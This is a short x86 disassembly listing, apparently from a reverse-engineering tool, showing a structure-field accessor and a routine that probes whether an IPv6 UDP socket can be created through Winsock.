mov eax, dword [esp + 4]
test eax, eax
je 0x445904
mov eax, dword [eax]
mov eax, dword [eax + 0x78]
mov al, byte [eax + 0xe7]
ret
push 0
push 2
push 0x17
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
jne 0x445918
xor al, al
ret
push eax
push 0
call fcn.0043e520
add esp, 8
mov al, 1
ret